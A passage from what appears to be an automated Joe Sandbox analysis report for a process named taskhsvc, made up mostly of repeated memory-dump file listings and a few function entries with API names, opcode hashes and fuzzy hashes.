                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabort
                                        • String ID:
                                        • API String ID: 3276312271-0
                                        • Opcode ID: 33a5fc3f05c8f9de7ae5ba16e7ef6331cfd5110352beab58e52de9a29ae8980d
                                        • Instruction ID: dc7041d674ee218c8262c45176ef7a992087846eadb4d5eb4740b406d4f629e4
                                        • Opcode Fuzzy Hash: 33a5fc3f05c8f9de7ae5ba16e7ef6331cfd5110352beab58e52de9a29ae8980d
                                        • Instruction Fuzzy Hash: 020160B4D042099FCB40DFA9D581A9EBBF0FB48300F018829E858E7300E774EA558F65
                                        Function 00BC38E7 Relevance: 1.5, APIs: 1, Instructions: 34COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BC39F0
                                          • Part of subcall function 00C3AD19: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C4EF37), ref: 00C3AD77
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: 2e080075cf0df45ac903d058c2c259d9a8400b38458b8c904c6a54868b21030b
                                        • Instruction ID: 2d12192ef2046134f73d63107dbe8d93909f25cdb83a6e024e207c4db967c614
                                        • Opcode Fuzzy Hash: 2e080075cf0df45ac903d058c2c259d9a8400b38458b8c904c6a54868b21030b
                                        • Instruction Fuzzy Hash: BE0131709086098BDB00EFA4C58576EBBF0EF44704F50C86DE096EB240D7F9D940DB62
                                        Function 00D26865 Relevance: 1.5, APIs: 1, Instructions: 33COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: 7f18092747deb70f3736473c407956ee406b147888f80c6fc9c5baed0bf86950
                                        • Instruction ID: 62f819904a3b78e7fe9ed15f6eeb3a5b045f70c66509a0655b4bf2df6610a99c
                                        • Opcode Fuzzy Hash: 7f18092747deb70f3736473c407956ee406b147888f80c6fc9c5baed0bf86950
                                        • Instruction Fuzzy Hash: 14019DB4E042199FCB40DFA9D580A9DBBF0FB48314F11882AE958EB340E235E9418F65
                                        Function 00BC43B5 Relevance: 1.5, APIs: 1, Instructions: 33COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: bbf7703f700f3df3afc8b4b4874eafe10682c1dff8b1cc86c843df64088cea90
                                        • Instruction ID: 9b2178cbcdb8facf2d1ca7157760430d68574b08fcbe457feaeef1c0a4ce5e6d
                                        • Opcode Fuzzy Hash: bbf7703f700f3df3afc8b4b4874eafe10682c1dff8b1cc86c843df64088cea90
                                        • Instruction Fuzzy Hash: E6F0EC759002199BDF00DFADC985A9EB7F0FF45304F018568E924EB300E370EA01CB59
                                        Function 00D1E1D3 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D20017), ref: 00D1E220
                                          • Part of subcall function 00D2174B: free.MSVCRT ref: 00D21775
                                          • Part of subcall function 00D2174B: __stack_chk_fail.LIBSSP-0 ref: 00D2178D
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
